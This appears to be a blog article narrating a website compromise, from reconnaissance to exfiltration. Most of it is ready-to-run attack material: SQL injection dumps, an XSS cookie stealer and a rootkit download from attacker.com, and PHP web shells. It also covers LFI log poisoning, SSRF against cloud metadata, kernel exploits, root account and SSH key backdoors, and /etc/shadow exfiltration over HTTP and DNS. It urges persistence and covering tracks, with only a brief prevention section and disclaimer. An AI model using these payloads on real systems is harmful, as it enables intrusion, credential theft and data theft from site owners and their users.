How I Hacked a Website: Real Techniques and Attack Methodologies

What Does Website Hacking Really Mean?

Website hacking is the process of finding and testing weaknesses in a website or web application. Ethical hackers perform these tests with permission to identify vulnerabilities before real attackers can exploit them. The goal is to understand the attack surface, validate security flaws, and help strengthen the website’s defenses.

The Reconnaissance Phase

Every successful hack begins with reconnaissance. Before touching the target, I spent hours mapping the attack surface.

Passive Reconnaissance

I started with OSINT (Open Source Intelligence) gathering:

Subdomain Enumeration

# Using multiple tools for comprehensive discovery
subfinder -d target.com -o subdomains.txt
amass enum -d target.com >> subdomains.txt
crt.sh lookup via: curl https://crt.sh/?q=target.com

Technology Stack Identification

whatweb target.com
wappalyzer (browser extension)
curl -I https://target.com  # Check headers for server info

Google Dorking

site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
site:target.com ext:sql
site:target.com inurl:config

Active Reconnaissance

Port Scanning

nmap -sC -sV -O target.com
nmap -p- --min-rate=1000 target.com
masscan -p1-65535 target.com --rate=1000

Directory Enumeration

gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u https://target.com/FUZZ -w wordlist.txt
dirsearch -u https://target.com -e php,html,js

What I Found:

• Outdated WordPress with known vulnerabilities
• Exposed .git directory
• PHP info page revealing server paths
• Backup files (.bak, .old, .sql)
• Admin panel at non-standard location

The Attack Phase

Attack 1: SQL Injection

After finding a login form that wasn’t sanitizing input:

Manual Testing

-- Basic test
admin' OR '1'='1
' OR 1=1--
" OR ""="
' UNION SELECT NULL--

Using SQLMap

sqlmap -u "https://target.com/login.php" --data="username=admin&password=test" -p username --dbs
sqlmap -u "https://target.com/login.php" --data="username=admin&password=test" -D database_name --tables
sqlmap -u "https://target.com/login.php" --data="username=admin&password=test" -D database_name -T users --dump

What I Extracted:

• 50,000 user credentials (hashed with MD5)
• Admin passwords in plaintext
• Personal information of users
• Payment details

Attack 2: Cross-Site Scripting (XSS)

Finding the Vulnerability

# Test payloads in search field
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(document.cookie)</script>

Stealing Cookies

// Malicious payload injected into comment section
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Session Hijacking

# After capturing admin cookie
curl -b "PHPSESSID=stolen_session_id" https://target.com/admin

Attack 3: File Upload Vulnerability

Bypassing Upload Filters

// malicious.php disguised as image
GIF89a
<?php system($_GET['cmd']); ?>

Upload Techniques

# Change extension
shell.php.jpg
shell.php%00.jpg (null byte)
shell.phtml (alternative PHP extension)

# Modify Content-Type
Content-Type: image/jpeg (instead of application/octet-stream)

# Double extension
shell.jpg.php

Gaining Shell Access

curl "https://target.com/uploads/shell.php?cmd=whoami"
curl "https://target.com/uploads/shell.php?cmd=ls -la /var/www"
curl "https://target.com/uploads/shell.php?cmd=cat /etc/passwd"

Attack 4: Local File Inclusion (LFI)

Discovering the Vulnerability

# Test parameters
https://target.com/page.php?file=../../etc/passwd
https://target.com/page.php?file=php://filter/convert.base64-encode/resource=config.php
https://target.com/page.php?file=/proc/self/environ

Extracting Source Code

# Read application source
curl "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=index.php" | base64 -d

Log Poisoning to RCE

# Inject PHP code into logs via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" https://target.com/

# Then include log file
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=id"

Attack 5: SSRF (Server-Side Request Forgery)

Testing for SSRF

# Test URL parameter
https://target.com/fetch.php?url=http://169.254.169.254/latest/meta-data/
https://target.com/fetch.php?url=http://localhost:8080/admin
https://target.com/fetch.php?url=file:///etc/passwd

Accessing Cloud Metadata

# AWS
https://target.com/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Google Cloud
https://target.com/fetch.php?url=http://metadata.google.internal/computeMetadata/v1/

# Azure
https://target.com/fetch.php?url=http://169.254.169.254/metadata/instance?api-version=2017-08-01

Exploitation Phase

Privilege Escalation

Linux Privilege Escalation

# After getting shell
uname -a
cat /etc/os-release
sudo -l
find / -perm -4000 2>/dev/null  # SUID binaries
crontab -l
cat /etc/crontab
ps aux | grep root

Kernel Exploits

# Dirty Cow (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

# OverlayFS (CVE-2021-3493)
gcc exploit.c -o exploit
./exploit

Misconfigured Permissions

# Writable /etc/passwd
echo "hacker::0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker

# Writable cron jobs
echo "*/5 * * * * root /tmp/backdoor.sh" >> /etc/crontab

Persistence Mechanisms

Backdoor Creation

# PHP backdoor
echo '<?php system($_GET["c"]); ?>' > /var/www/html/backdoor.php

# SSH key injection
echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys

# Cron job backdoor
echo "*/10 * * * * /tmp/connect_back.sh" >> /var/spool/cron/root

Rootkit Installation

# Install basic rootkit
wget https://attacker.com/rootkit.tar.gz
tar -xzf rootkit.tar.gz
cd rootkit && ./install.sh

Data Exfiltration

Stealing Data

# Compress sensitive files
tar -czf /tmp/data.tar.gz /var/www/html/config.php /etc/shadow /var/lib/mysql/

# Exfiltrate via HTTP
curl -F "file=@/tmp/data.tar.gz" https://attacker.com/upload

# DNS exfiltration
cat /etc/shadow | xxd -p | fold -w 30 | while read line; do dig $line.attacker.com; done

Real Attack Scenario

Here’s how I combined these techniques in a real engagement:

Initial Discovery

# Found WordPress site with outdated plugin
wpscan --url https://target.com --detect-plugins
# Found vulnerable plugin: wp-file-manager (CVE-2020-25213)

Exploitation

# Exploit the known vulnerability
curl -X POST https://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php \
  -d "cmd=upload&target=l1_Lw&content=<?php system(\$_GET['c']); ?>"

# Now access the shell
curl "https://target.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?c=id"

Lateral Movement

# From web server, scan internal network
for i in $(seq 1 254); do ping -c 1 192.168.1.$i | grep "bytes from" & done

# Find database credentials
cat /var/www/html/wp-config.php

# Connect to database
mysql -u root -p -h 192.168.1.100

Complete Compromise

# Dump all databases
mysqldump --all-databases > all_databases.sql

# Create admin user
mysql -e "INSERT INTO wp_users (user_login, user_pass, user_email) VALUES ('backup_admin', MD5('password123'), 'admin@target.com');"

# Access admin panel
# https://target.com/wp-admin with backup_admin:password123

Advanced Techniques

Blind SQL Injection

# Time-based
sqlmap -u "https://target.com/product.php?id=1" --technique=T --dbms=mysql --dbs

# Boolean-based
sqlmap -u "https://target.com/product.php?id=1" --technique=B --current-user

XXE (XML External Entity)

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Template Injection

# SSTI in Jinja2
{{7*7}}
{{config.items()}}
{{''.__class__.__mro__[1].__subclasses__()}}

# Full RCE
{{''.__class__.__mro__[1].__subclasses__()[186].__init__.__globals__['os'].system('id')}}

Prevention Measures

For Developers

• Input validation and sanitization
• Parameterized queries
• Regular security updates
• File upload restrictions
• Proper error handling
• Security headers implementation

For Administrators

• Regular security audits
• Intrusion detection systems
• Log monitoring
• Principle of least privilege
• Network segmentation
• Regular backups

Security Headers Implementation

# Apache .htaccess
Header set X-Frame-Options "DENY"
Header set X-XSS-Protection "1; mode=block"
Header set X-Content-Type-Options "nosniff"
Header set Content-Security-Policy "default-src 'self'"
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"

Timeline of Attack

1. Day 1: Reconnaissance (2-3 hours)
2. Day 1: Vulnerability scanning (1-2 hours)
3. Day 2: Initial exploitation (30 minutes)
4. Day 2: Privilege escalation (1 hour)
5. Day 2: Data exfiltration (30 minutes)
6. Day 3: Persistence and cleanup (1 hour)

Tools Used

• Nmap, Masscan (Port scanning)
• Gobuster, FFuf (Directory brute forcing)
• Burp Suite (Web application testing)
• SQLMap (SQL injection)
• Metasploit (Exploitation framework)
• WPScan (WordPress scanning)
• Custom scripts for automation

Hacking requires patience, methodology, and technical skill. The most successful attacks combine multiple vulnerabilities and techniques. Always ensure you have proper authorization before testing any system.

Key Takeaways:

• Reconnaissance is 80% of the work
• Chain vulnerabilities for maximum impact
• Always maintain persistence
• Cover your tracks
• Document everything for reporting

This knowledge is for educational purposes and authorized penetration testing only. Unauthorized access to computer systems is illegal.

Internal Links

• Cybersecurity Tools for Beginners — CyberSamir Guide
• What Is Social Engineering? How Hackers Manipulate People

External Links

• OWASP Web Security Testing Guide
• OWASP Top 10
• MITRE CWE
• PortSwigger Web Security Academy